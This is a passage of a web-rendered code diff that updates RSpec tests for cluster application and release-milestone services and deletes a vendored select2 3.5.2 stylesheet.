@ -280,7 +274,7 @@ RSpec.describe Clusters::Applications::CreateService do
|
|||
end
|
||||
|
||||
context 'when installation is already in progress' do
|
||||
let!(:application) { create(:clusters_applications_helm, :installing, cluster: cluster) }
|
||||
let!(:application) { create(:clusters_applications_ingress, :installing, cluster: cluster) }
|
||||
|
||||
it 'raises an exception' do
|
||||
expect { subject }
|
||||
|
@ -295,7 +289,7 @@ RSpec.describe Clusters::Applications::CreateService do
|
|||
|
||||
context 'when application is installed' do
|
||||
%i(installed updated).each do |status|
|
||||
let(:application) { create(:clusters_applications_helm, status, cluster: cluster) }
|
||||
let(:application) { create(:clusters_applications_ingress, status, cluster: cluster) }
|
||||
|
||||
it 'schedules an upgrade via worker' do
|
||||
expect(ClusterUpgradeAppWorker)
|
||||
|
|
|
@ -67,7 +67,8 @@ RSpec.describe Clusters::Cleanup::AppService do
|
|||
|
||||
it 'only uninstalls apps that are not dependencies for other installed apps' do
|
||||
expect(Clusters::Applications::UninstallWorker)
|
||||
.not_to receive(:perform_async).with(helm.name, helm.id)
|
||||
.to receive(:perform_async).with(helm.name, helm.id)
|
||||
.and_call_original
|
||||
|
||||
expect(Clusters::Applications::UninstallWorker)
|
||||
.not_to receive(:perform_async).with(ingress.name, ingress.id)
|
||||
|
@ -85,7 +86,7 @@ RSpec.describe Clusters::Cleanup::AppService do
|
|||
|
||||
it 'logs application uninstalls and next execution' do
|
||||
expect(logger).to receive(:info)
|
||||
.with(log_meta.merge(event: :uninstalling_app, application: kind_of(String))).twice
|
||||
.with(log_meta.merge(event: :uninstalling_app, application: kind_of(String))).exactly(3).times
|
||||
expect(logger).to receive(:info)
|
||||
.with(log_meta.merge(event: :scheduling_execution, next_execution: 1))
|
||||
|
||||
|
|
|
@ -167,28 +167,47 @@ RSpec.describe Releases::CreateService do
|
|||
end
|
||||
end
|
||||
|
||||
context 'when no milestone is passed in' do
|
||||
it 'creates a release without a milestone tied to it' do
|
||||
expect(params.key?(:milestones)).to be_falsey
|
||||
context 'no milestone association behavior' do
|
||||
let(:title_1) { 'v1.0' }
|
||||
let(:title_2) { 'v1.0-rc' }
|
||||
let!(:milestone_1) { create(:milestone, :active, project: project, title: title_1) }
|
||||
let!(:milestone_2) { create(:milestone, :active, project: project, title: title_2) }
|
||||
|
||||
service.execute
|
||||
release = project.releases.last
|
||||
context 'when no milestones parameter is passed' do
|
||||
it 'creates a release without a milestone tied to it' do
|
||||
expect(service.param_for_milestone_titles_provided?).to be_falsey
|
||||
|
||||
expect(release.milestones).to be_empty
|
||||
service.execute
|
||||
release = project.releases.last
|
||||
|
||||
expect(release.milestones).to be_empty
|
||||
end
|
||||
|
||||
it 'does not create any new MilestoneRelease object' do
|
||||
expect { service.execute }.not_to change { MilestoneRelease.count }
|
||||
end
|
||||
end
|
||||
|
||||
it 'does not create any new MilestoneRelease object' do
|
||||
expect { service.execute }.not_to change { MilestoneRelease.count }
|
||||
context 'when an empty array is passed as the milestones parameter' do
|
||||
it 'creates a release without a milestone tied to it' do
|
||||
service = described_class.new(project, user, params.merge!({ milestones: [] }))
|
||||
service.execute
|
||||
release = project.releases.last
|
||||
|
||||
expect(release.milestones).to be_empty
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'when an empty value is passed as a milestone' do
|
||||
it 'creates a release without a milestone tied to it' do
|
||||
service = described_class.new(project, user, params.merge!({ milestones: [] }))
|
||||
service.execute
|
||||
release = project.releases.last
|
||||
context 'when nil is passed as the milestones parameter' do
|
||||
it 'creates a release without a milestone tied to it' do
|
||||
expect(service.param_for_milestone_titles_provided?).to be_falsey
|
||||
|
||||
expect(release.milestones).to be_empty
|
||||
service = described_class.new(project, user, params.merge!({ milestones: nil }))
|
||||
service.execute
|
||||
release = project.releases.last
|
||||
|
||||
expect(release.milestones).to be_empty
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
704
vendor/assets/stylesheets/select2.scss
vendored
704
vendor/assets/stylesheets/select2.scss
vendored
|
@ -1,704 +0,0 @@
|
|||
/*
|
||||
Version: 3.5.2 Timestamp: Sat Nov 1 14:43:36 EDT 2014
|
||||
*/
|
||||
.select2-container {
|
||||
margin: 0;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
/* inline-block for ie7 */
|
||||
zoom: 1;
|
||||
*display: inline;
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
.select2-container,
|
||||
.select2-drop,
|
||||
.select2-search,
|
||||
.select2-search input {
|
||||
/*
|
||||
Force border-box so that % widths fit the parent
|
||||
container without overlap because of margin/padding.
|
||||
More Info : http://www.quirksmode.org/css/box.html
|
||||
*/
|
||||
-webkit-box-sizing: border-box; /* webkit */
|
||||
-moz-box-sizing: border-box; /* firefox */
|
||||
box-sizing: border-box; /* css3 */
|
||||
}
|
||||
|
||||
.select2-container .select2-choice {
|
||||
display: block;
|
||||
height: 26px;
|
||||
padding: 0 0 0 8px;
|
||||
overflow: hidden;
|
||||
position: relative;
|
||||
|
||||
border: 1px solid #aaa;
|
||||
white-space: nowrap;
|
||||
line-height: 26px;
|
||||
color: #444;
|
||||
text-decoration: none;
|
||||
|
||||
border-radius: 4px;
|
||||
|
||||
background-clip: padding-box;
|
||||
|
||||
-webkit-touch-callout: none;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
|
||||
background-color: #fff;
|
||||
background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.5, #fff));
|
||||
background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 50%);
|
||||
background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 50%);
|
||||
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = '#ffffff', endColorstr = '#eeeeee', GradientType = 0);
|
||||
background-image: linear-gradient(to top, #eee 0%, #fff 50%);
|
||||
}
|
||||
|
||||
html[dir="rtl"] .select2-container .select2-choice {
|
||||
padding: 0 8px 0 0;
|
||||
}
|
||||
|
||||
.select2-container.select2-drop-above .select2-choice {
|
||||
border-bottom-color: #aaa;
|
||||
|
||||
border-radius: 0 0 4px 4px;
|
||||
|
||||
background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.9, #fff));
|
||||
background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 90%);
|
||||
background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 90%);
|
||||
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0);
|
||||
background-image: linear-gradient(to bottom, #eee 0%, #fff 90%);
|
||||
}
|
||||
|
||||
.select2-container.select2-allowclear .select2-choice .select2-chosen {
|
||||
margin-right: 42px;
|
||||
}
|
||||
|
||||
.select2-container .select2-choice > .select2-chosen {
|
||||
margin-right: 26px;
|
||||
display: block;
|
||||
overflow: hidden;
|
||||
|
||||
white-space: nowrap;
|
||||
|
||||
text-overflow: ellipsis;
|
||||
float: none;
|
||||
width: auto;
|
||||
}
|
||||
|
||||
html[dir="rtl"] .select2-container .select2-choice > .select2-chosen {
|
||||
margin-left: 26px;
|
||||
margin-right: 0;
|
||||
}
|
||||
|
||||
.select2-container .select2-choice abbr {
|
||||
display: none;
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
position: absolute;
|
||||
right: 24px;
|
||||
top: 8px;
|
||||
|
||||
font-size: 1px;
|
||||
text-decoration: none;
|
||||
|
||||
border: 0;
|
||||
background: url(image-path('select2.png')) right top no-repeat;
|
||||
cursor: pointer;
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
.select2-container.select2-allowclear .select2-choice abbr {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.select2-container .select2-choice abbr:hover {
|
||||
background-position: right -11px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.select2-drop-mask {
|
||||
border: 0;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
position: fixed;
|
||||
left: 0;
|
||||
top: 0;
|
||||
min-height: 100%;
|
||||
min-width: 100%;
|
||||
height: auto;
|
||||
width: auto;
|
||||
opacity: 0;
|
||||
z-index: 9998;
|
||||
/* styles required for IE to work */
|
||||
background-color: #fff;
|
||||
filter: alpha(opacity=0);
|
||||
}
|
||||
|
||||
.select2-drop {
|
||||
width: 100%;
|
||||
margin-top: -1px;
|
||||
position: absolute;
|
||||
z-index: 9999;
|
||||
top: 100%;
|
||||
|
||||
background: #fff;
|
||||
color: #000;
|
||||
border: 1px solid #aaa;
|
||||
border-top: 0;
|
||||
|
||||
border-radius: 0 0 4px 4px;
|
||||
|
||||
-webkit-box-shadow: 0 4px 5px rgba(0, 0, 0, .15);
|
||||
box-shadow: 0 4px 5px rgba(0, 0, 0, .15);
|
||||
}
|
||||
|
||||
.select2-drop.select2-drop-above {
|
||||
margin-top: 1px;
|
||||
border-top: 1px solid #aaa;
|
||||
border-bottom: 0;
|
||||
|
||||
border-radius: 4px 4px 0 0;
|
||||
|
||||
-webkit-box-shadow: 0 -4px 5px rgba(0, 0, 0, .15);
|
||||
box-shadow: 0 -4px 5px rgba(0, 0, 0, .15);
|
||||
}
|
||||
|
||||
.select2-drop-active {
|
||||
border: 1px solid #5897fb;
|
||||
border-top: none;
|
||||
}
|
||||
|
||||
.select2-drop.select2-drop-above.select2-drop-active {
|
||||
border-top: 1px solid #5897fb;
|
||||
}
|
||||
|
||||
.select2-drop-auto-width {
|
||||
border-top: 1px solid #aaa;
|
||||
width: auto;
|
||||
}
|
||||
|
||||
.select2-drop-auto-width .select2-search {
|
||||
padding-top: 4px;
|
||||
}
|
||||
|
||||
.select2-container .select2-choice .select2-arrow {
|
||||
display: inline-block;
|
||||
width: 18px;
|
||||
height: 100%;
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 0;
|
||||
|
||||
border-left: 1px solid #aaa;
|
||||
border-radius: 0 4px 4px 0;
|
||||
|
||||
background-clip: padding-box;
|
||||
|
||||
background: #ccc;
|
||||
background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #ccc), color-stop(0.6, #eee));
|
||||
background-image: -webkit-linear-gradient(center bottom, #ccc 0%, #eee 60%);
|
||||
background-image: -moz-linear-gradient(center bottom, #ccc 0%, #eee 60%);
|
||||
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = '#eeeeee', endColorstr = '#cccccc', GradientType = 0);
|
||||
background-image: linear-gradient(to top, #ccc 0%, #eee 60%);
|
||||
}
|
||||
|
||||
html[dir="rtl"] .select2-container .select2-choice .select2-arrow {
|
||||
left: 0;
|
||||
right: auto;
|
||||
|
||||
border-left: none;
|
||||
border-right: 1px solid #aaa;
|
||||
border-radius: 4px 0 0 4px;
|
||||
}
|
||||
|
||||
.select2-container .select2-choice .select2-arrow b {
|
||||
display: block;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: url(image-path('select2.png')) no-repeat 0 1px;
|
||||
}
|
||||
|
||||
html[dir="rtl"] .select2-container .select2-choice .select2-arrow b {
|
||||
background-position: 2px 1px;
|
||||
}
|
||||
|
||||
.select2-search {
|
||||
display: inline-block;
|
||||
width: 100%;
|
||||
min-height: 26px;
|
||||
margin: 0;
|
||||
padding-left: 4px;
|
||||
padding-right: 4px;
|
||||
|
||||
position: relative;
|
||||
z-index: 10000;
|
||||
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.select2-search input {
|
||||
width: 100%;
|
||||
height: auto !important;
|
||||
min-height: 26px;
|
||||
padding: 4px 20px 4px 5px;
|
||||
margin: 0;
|
||||
|
||||
outline: 0;
|
||||
font-family: sans-serif;
|
||||
font-size: 1em;
|
||||
|
||||
border: 1px solid #aaa;
|
||||
border-radius: 0;
|
||||
|
||||
-webkit-box-shadow: none;
|
||||
box-shadow: none;
|
||||
|
||||
background: #fff url(image-path('select2.png')) no-repeat 100% -22px;
|
||||
background: url(image-path('select2.png')) no-repeat 100% -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee));
|
||||
background: url(image-path('select2.png')) no-repeat 100% -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%);
|
||||
background: url(image-path('select2.png')) no-repeat 100% -22px, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%);
|
||||
background: url(image-path('select2.png')) no-repeat 100% -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0;
|
||||
}
|
||||
|
||||
html[dir="rtl"] .select2-search input {
|
||||
padding: 4px 5px 4px 20px;
|
||||
|
||||
background: #fff url(image-path('select2.png')) no-repeat -37px -22px;
|
||||
background: url(image-path('select2.png')) no-repeat -37px -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee));
|
||||
background: url(image-path('select2.png')) no-repeat -37px -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%);
|
||||
background: url(image-path('select2.png')) no-repeat -37px -22px, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%);
|
||||
background: url(image-path('select2.png')) no-repeat -37px -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0;
|
||||
}
|
||||
|
||||
.select2-drop.select2-drop-above .select2-search input {
|
||||
margin-top: 4px;
|
||||
}
|
||||
|
||||
.select2-search input.select2-active {
|
||||
background: #fff url(image-path('select2-spinner.gif')) no-repeat 100%;
|
||||
background: url(image-path('select2-spinner.gif')) no-repeat 100%, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee));
|
||||
background: url(image-path('select2-spinner.gif')) no-repeat 100%, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%);
|
||||
background: url(image-path('select2-spinner.gif')) no-repeat 100%, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%);
|
||||
background: url(image-path('select2-spinner.gif')) no-repeat 100%, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0;
|
||||
}
|
||||
|
||||
.select2-container-active .select2-choice,
|
||||
.select2-container-active .select2-choices {
|
||||
border: 1px solid #5897fb;
|
||||
outline: none;
|
||||
|
||||
-webkit-box-shadow: 0 0 5px rgba(0, 0, 0, .3);
|
||||
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
|
||||
}
|
||||
|
||||
.select2-dropdown-open .select2-choice {
|
||||
border-bottom-color: transparent;
|
||||
-webkit-box-shadow: 0 1px 0 #fff inset;
|
||||
box-shadow: 0 1px 0 #fff inset;
|
||||
|
||||
border-bottom-left-radius: 0;
|
||||
border-bottom-right-radius: 0;
|
||||
|
||||
background-color: #eee;
|
||||
background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #fff), color-stop(0.5, #eee));
|
||||
background-image: -webkit-linear-gradient(center bottom, #fff 0%, #eee 50%);
|
||||
background-image: -moz-linear-gradient(center bottom, #fff 0%, #eee 50%);
|
||||
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);
|
||||
background-image: linear-gradient(to top, #fff 0%, #eee 50%);
|
||||
}
|
||||
|
||||
.select2-dropdown-open.select2-drop-above .select2-choice,
|
||||
.select2-dropdown-open.select2-drop-above .select2-choices {
|
||||
border: 1px solid #5897fb;
|
||||
border-top-color: transparent;
|
||||
|
||||
background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #fff), color-stop(0.5, #eee));
|
||||
background-image: -webkit-linear-gradient(center top, #fff 0%, #eee 50%);
|
||||
background-image: -moz-linear-gradient(center top, #fff 0%, #eee 50%);
|
||||
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0);
|
||||
background-image: linear-gradient(to bottom, #fff 0%, #eee 50%);
|
||||
}
|
||||
|
||||
.select2-dropdown-open .select2-choice .select2-arrow {
|
||||
background: transparent;
|
||||
border-left: none;
|
||||
filter: none;
|
||||
}
|
||||
html[dir="rtl"] .select2-dropdown-open .select2-choice .select2-arrow {
|
||||
border-right: none;
|
||||
}
|
||||
|
||||
.select2-dropdown-open .select2-choice .select2-arrow b {
|
||||
background-position: -18px 1px;
|
||||
}
|
||||
|
||||
html[dir="rtl"] .select2-dropdown-open .select2-choice .select2-arrow b {
|
||||
background-position: -16px 1px;
|
||||
}
|
||||
|
||||
.select2-hidden-accessible {
|
||||
border: 0;
|
||||
clip: rect(0 0 0 0);
|
||||
height: 1px;
|
||||
margin: -1px;
|
||||
overflow: hidden;
|
||||
padding: 0;
|
||||
position: absolute;
|
||||
width: 1px;
|
||||
}
|
||||
|
||||
/* results */
|
||||
.select2-results {
|
||||
max-height: 200px;
|
||||
padding: 0 0 0 4px;
|
||||
margin: 4px 4px 4px 0;
|
||||
position: relative;
|
||||
overflow-x: hidden;
|
||||
overflow-y: auto;
|
||||
-webkit-tap-highlight-color: rgba(0, 0, 0, 0);
|
||||
}
|
||||
|
||||
html[dir="rtl"] .select2-results {
|
||||
padding: 0 4px 0 0;
|
||||
margin: 4px 0 4px 4px;
|
||||
}
|
||||
|
||||
.select2-results ul.select2-result-sub {
|
||||
margin: 0;
|
||||
padding-left: 0;
|
||||
}
|
||||
|
||||
.select2-results li {
|
||||
list-style: none;
|
||||
display: list-item;
|
||||
background-image: none;
|
||||
}
|
||||
|
||||
.select2-results li.select2-result-with-children > .select2-result-label {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.select2-results .select2-result-label {
|
||||
padding: 3px 7px 4px;
|
||||
margin: 0;
|
||||
cursor: pointer;
|
||||
|
||||
min-height: 1em;
|
||||
|
||||
-webkit-touch-callout: none;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.select2-results-dept-1 .select2-result-label { padding-left: 20px }
|
||||
.select2-results-dept-2 .select2-result-label { padding-left: 40px }
|
||||
.select2-results-dept-3 .select2-result-label { padding-left: 60px }
|
||||
.select2-results-dept-4 .select2-result-label { padding-left: 80px }
|
||||
.select2-results-dept-5 .select2-result-label { padding-left: 100px }
|
||||
.select2-results-dept-6 .select2-result-label { padding-left: 110px }
|
||||
.select2-results-dept-7 .select2-result-label { padding-left: 120px }
|
||||
|
||||
.select2-results .select2-highlighted {
|
||||
background: #3875d7;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.select2-results li em {
|
||||
background: #feffde;
|
||||
font-style: normal;
|
||||
}
|
||||
|
||||
.select2-results .select2-highlighted em {
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
.select2-results .select2-highlighted ul {
|
||||
background: #fff;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
.select2-results .select2-no-results,
|
||||
.select2-results .select2-searching,
|
||||
.select2-results .select2-ajax-error,
|
||||
.select2-results .select2-selection-limit {
|
||||
background: #f4f4f4;
|
||||
display: list-item;
|
||||
padding-left: 5px;
|
||||
}
|
||||
|
||||
/*
|
||||
disabled look for disabled choices in the results dropdown
|
||||
*/
|
||||
.select2-results .select2-disabled.select2-highlighted {
|
||||
color: #666;
|
||||
background: #f4f4f4;
|
||||
display: list-item;
|
||||
cursor: default;
|
||||
}
|
||||
.select2-results .select2-disabled {
|
||||
background: #f4f4f4;
|
||||
display: list-item;
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
.select2-results .select2-selected {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.select2-more-results.select2-active {
|
||||
background: #f4f4f4 url(image-path('select2-spinner.gif')) no-repeat 100%;
|
||||
}
|
||||
|
||||
.select2-results .select2-ajax-error {
|
||||
background: rgba(255, 50, 50, .2);
|
||||
}
|
||||
|
||||
.select2-more-results {
|
||||
background: #f4f4f4;
|
||||
display: list-item;
|
||||
}
|
||||
|
||||
/* disabled styles */
|
||||
|
||||
.select2-container.select2-container-disabled .select2-choice {
|
||||
background-color: #f4f4f4;
|
||||
background-image: none;
|
||||
border: 1px solid #ddd;
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
.select2-container.select2-container-disabled .select2-choice .select2-arrow {
|
||||
background-color: #f4f4f4;
|
||||
background-image: none;
|
||||
border-left: 0;
|
||||
}
|
||||
|
||||
.select2-container.select2-container-disabled .select2-choice abbr {
|
||||
display: none;
|
||||
}
|
||||
|
||||
|
||||
/* multiselect */
|
||||
|
||||
.select2-container-multi .select2-choices {
|
||||
height: auto !important;
|
||||
height: 1%;
|
||||
margin: 0;
|
||||
padding: 0 5px 0 0;
|
||||
position: relative;
|
||||
|
||||
border: 1px solid #aaa;
|
||||
cursor: text;
|
||||
overflow: hidden;
|
||||
|
||||
background-color: #fff;
|
||||
background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(1%, #eee), color-stop(15%, #fff));
|
||||
background-image: -webkit-linear-gradient(top, #eee 1%, #fff 15%);
|
||||
background-image: -moz-linear-gradient(top, #eee 1%, #fff 15%);
|
||||
background-image: linear-gradient(to bottom, #eee 1%, #fff 15%);
|
||||
}
|
||||
|
||||
html[dir="rtl"] .select2-container-multi .select2-choices {
|
||||
padding: 0 0 0 5px;
|
||||
}
|
||||
|
||||
.select2-locked {
|
||||
padding: 3px 5px 3px 5px !important;
|
||||
}
|
||||
|
||||
.select2-container-multi .select2-choices {
|
||||
min-height: 26px;
|
||||
}
|
||||
|
||||
.select2-container-multi.select2-container-active .select2-choices {
|
||||
border: 1px solid #5897fb;
|
||||
outline: none;
|
||||
|
||||
-webkit-box-shadow: 0 0 5px rgba(0, 0, 0, .3);
|
||||
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
|
||||
}
|
||||
.select2-container-multi .select2-choices li {
|
||||
float: left;
|
||||
list-style: none;
|
||||
}
|
||||
html[dir="rtl"] .select2-container-multi .select2-choices li
|
||||
{
|
||||
float: right;
|
||||
}
|
||||
.select2-container-multi .select2-choices .select2-search-field {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.select2-container-multi .select2-choices .select2-search-field input {
|
||||
padding: 5px;
|
||||
margin: 1px 0;
|
||||
|
||||
font-family: sans-serif;
|
||||
font-size: 100%;
|
||||
color: #666;
|
||||
outline: 0;
|
||||
border: 0;
|
||||
-webkit-box-shadow: none;
|
||||
box-shadow: none;
|
||||
background: transparent !important;
|
||||
}
|
||||
|
||||
.select2-container-multi .select2-choices .select2-search-field input.select2-active {
|
||||
background: #fff url(image-path('select2-spinner.gif')) no-repeat 100% !important;
|
||||
}
|
||||
|
||||
.select2-default {
|
||||
color: #999 !important;
|
||||
}
|
||||
|
||||
.select2-container-multi .select2-choices .select2-search-choice {
|
||||
padding: 3px 5px 3px 18px;
|
||||
margin: 3px 0 3px 5px;
|
||||
position: relative;
|
||||
|
||||
line-height: 13px;
|
||||
color: #333;
|
||||
cursor: default;
|
||||
border: 1px solid #aaaaaa;
|
||||
|
||||
border-radius: 3px;
|
||||
|
||||
-webkit-box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05);
|
||||
box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05);
|
||||
|
||||
background-clip: padding-box;
|
||||
|
||||
-webkit-touch-callout: none;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
|
||||
background-color: #e4e4e4;
|
||||
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#f4f4f4', GradientType=0);
|
||||
background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), color-stop(100%, #eee));
|
||||
background-image: -webkit-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);
|
||||
background-image: -moz-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);
|
||||
background-image: linear-gradient(to bottom, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);
|
||||
}
|
||||
html[dir="rtl"] .select2-container-multi .select2-choices .select2-search-choice
|
||||
{
|
||||
margin: 3px 5px 3px 0;
|
||||
padding: 3px 18px 3px 5px;
|
||||
}
|
||||
.select2-container-multi .select2-choices .select2-search-choice .select2-chosen {
|
||||
cursor: default;
|
||||
}
|
||||
.select2-container-multi .select2-choices .select2-search-choice-focus {
|
||||
background: #d4d4d4;
|
||||
}
|
||||
|
||||
.select2-search-choice-close {
|
||||
display: block;
|
||||
width: 12px;
|
||||
height: 13px;
|
||||
position: absolute;
|
||||
right: 3px;
|
||||
top: 4px;
|
||||
|
||||
font-size: 1px;
|
||||
outline: none;
|
||||
background: url(image-path('select2.png')) right top no-repeat;
|
||||
}
|
||||
html[dir="rtl"] .select2-search-choice-close {
|
||||
right: auto;
|
||||
left: 3px;
|
||||
}
|
||||
|
||||
.select2-container-multi .select2-search-choice-close {
|
||||
left: 3px;
|
||||
}
|
||||
|
||||
html[dir="rtl"] .select2-container-multi .select2-search-choice-close {
|
||||
left: auto;
|
||||
right: 2px;
|
||||
}
|
||||
|
||||
.select2-container-multi .select2-choices .select2-search-choice .select2-search-choice-close:hover {
|
||||
background-position: right -11px;
|
||||
}
|
||||
.select2-container-multi .select2-choices .select2-search-choice-focus .select2-search-choice-close {
|
||||
background-position: right -11px;
|
||||
}
|
||||
|
||||
/* disabled styles */
|
||||
.select2-container-multi.select2-container-disabled .select2-choices {
|
||||
background-color: #f4f4f4;
|
||||
background-image: none;
|
||||
border: 1px solid #ddd;
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice {
|
||||
padding: 3px 5px 3px 5px;
|
||||
border: 1px solid #ddd;
|
||||
background-image: none;
|
||||
background-color: #f4f4f4;
|
||||
}
|
||||
|
||||
.select2-container-multi.select2-container-disabled .select2-choices .select2-search-choice .select2-search-choice-close { display: none;
|
||||
background: none;
|
||||
}
|
||||
/* end multiselect */
|
||||
|
||||
|
||||
.select2-result-selectable .select2-match,
|
||||
.select2-result-unselectable .select2-match {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.select2-offscreen, .select2-offscreen:focus {
|
||||
clip: rect(0 0 0 0) !important;
|
||||
width: 1px !important;
|
||||
height: 1px !important;
|
||||
border: 0 !important;
|
||||
margin: 0 !important;
|
||||
padding: 0 !important;
|
||||
overflow: hidden !important;
|
||||
position: absolute !important;
|
||||
outline: 0 !important;
|
||||
left: 0px !important;
|
||||
top: 0px !important;
|
||||
}
|
||||
|
||||
.select2-display-none {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.select2-measure-scrollbar {
|
||||
position: absolute;
|
||||
top: -10000px;
|
||||
left: -10000px;
|
||||
width: 100px;
|
||||
height: 100px;
|
||||
overflow: scroll;
|
||||
}
|
||||
|
||||
/* Retina-ize icons */
|
||||
|
||||
@media only screen and (-webkit-min-device-pixel-ratio: 1.5), only screen and (min-resolution: 2dppx) {
|
||||
.select2-search input,
|
||||
.select2-search-choice-close,
|
||||
.select2-container .select2-choice abbr,
|
||||
.select2-container .select2-choice .select2-arrow b {
|
||||
background-image: url(image-path('select2x2.png')) !important;
|
||||
background-repeat: no-repeat !important;
|
||||
background-size: 60px 40px !important;
|
||||
}
|
||||
|
||||
.select2-search input {
|
||||
background-position: 100% -21px !important;
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue